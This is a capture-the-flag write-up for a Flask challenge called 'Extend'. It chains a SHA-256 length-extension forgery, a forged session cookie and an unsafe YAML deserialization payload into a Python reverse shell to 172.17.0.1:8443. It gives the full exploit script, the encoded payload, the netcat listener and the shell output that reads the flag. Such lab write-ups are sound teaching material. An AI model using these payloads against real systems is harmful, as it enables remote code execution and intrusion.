Extend
Structure
extend
├── challenge/
│ ├── app/
│ ├── __init__.py
│ └── routes.py
│ ├── flag.txt
│ ├── run.py
│ └── secret.txt
└── Dockerfile
Solution
Install libssl-dev package.
sudo apt-get install libssl-dev
Clone the hash extender repository and change the current directory to the hash extender directory.
git clone https://github.com/iagox86/hash_extender && cd hash_extender
Build the project.
make
./hash_extender --data guest --secret 17 --append x -f sha256 --signature 59afa75317d96a3220e477f3a1aae0f44800c7604ea9bf295cf8aab6e7d7a68b
Output.
Type: sha256
Secret length: 17
New signature: 94515c72b4fb7245ad61439c09e0f817f2e4be149cd9a8084dda7b1e78ebb8c6
New string: 67756573748000000000000000000000000000000000000000000000000000000000000000000000000000000000b078
Deserialization payload
!!python/object/apply:subprocess.Popen
- !!python/tuple
- python
- -c
- "socket=__import__('socket');os=__import__('os');pty=__import__('pty');s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.17.0.1',8443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')"
Install pip
sudo apt install python3-pip
Install flask
python3 -m pip install flask
Exploit
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
from requests import post
from base64 import b64decode
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
# Override method
# Take secret_key instead of an instance of a Flask app
def get_signing_serializer(self, secret_key):
if not secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
def decodeFlaskCookie(secret_key, cookieValue):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.loads(cookieValue)
# Keep in mind that flask uses unicode strings for the
# dictionary keys
def encodeFlaskCookie(secret_key, cookieDict):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.dumps(cookieDict)
if __name__=='__main__':
host = '127.0.0.1'
port = '8002'
session = {u'extend': '94515c72b4fb7245ad61439c09e0f817f2e4be149cd9a8084dda7b1e78ebb8c6', u'username': bytes.fromhex('67756573748000000000000000000000000000000000000000000000000000000000000000000000000000000000b078')}
cookies = dict(session = encodeFlaskCookie('th!sK3y5houldB3S3cr3t', session))
# https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true/disabled)To_Base64('A-Za-z0-9%2B/%3D')&input=ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4gCi0gISFweXRob24vdHVwbGUgCiAgLSBweXRob24gCiAgLSAtYyAKICAtICJzb2NrZXQ9X19pbXBvcnRfXygnc29ja2V0Jyk7b3M9X19pbXBvcnRfXygnb3MnKTtwdHk9X19pbXBvcnRfXygncHR5Jyk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgnMTcyLjE3LjAuMScsODQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bignL2Jpbi9zaCcpIg
payload = {
'yaml' : 'ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4gCi0gISFweXRob24vdHVwbGUgCiAgLSBweXRob24gCiAgLSAtYyAKICAtICJzb2NrZXQ9X19pbXBvcnRfXygnc29ja2V0Jyk7b3M9X19pbXBvcnRfXygnb3MnKTtwdHk9X19pbXBvcnRfXygncHR5Jyk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgnMTcyLjE3LjAuMScsODQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bignL2Jpbi9zaCcpIg=='
}
post(f'http://{host}:{port}/api/v1/yaml', data = payload, cookies = cookies)
Start Netcat listener
nc -lnvp 8443
Run the script
python3 exploit.py
Reverse shell
docker@ubuntu:~/tcc-ctf/solutions/extend$ sudo nc -lnvp 8443
Listening on 0.0.0.0 8443
Connection received on 172.24.0.4 59118
/usr/src/app # cat flag.txt
cat flag.txt
TCC{H45H_3X73ND3r_2_D353r1411Z4710N}
/usr/src/app #
Last updated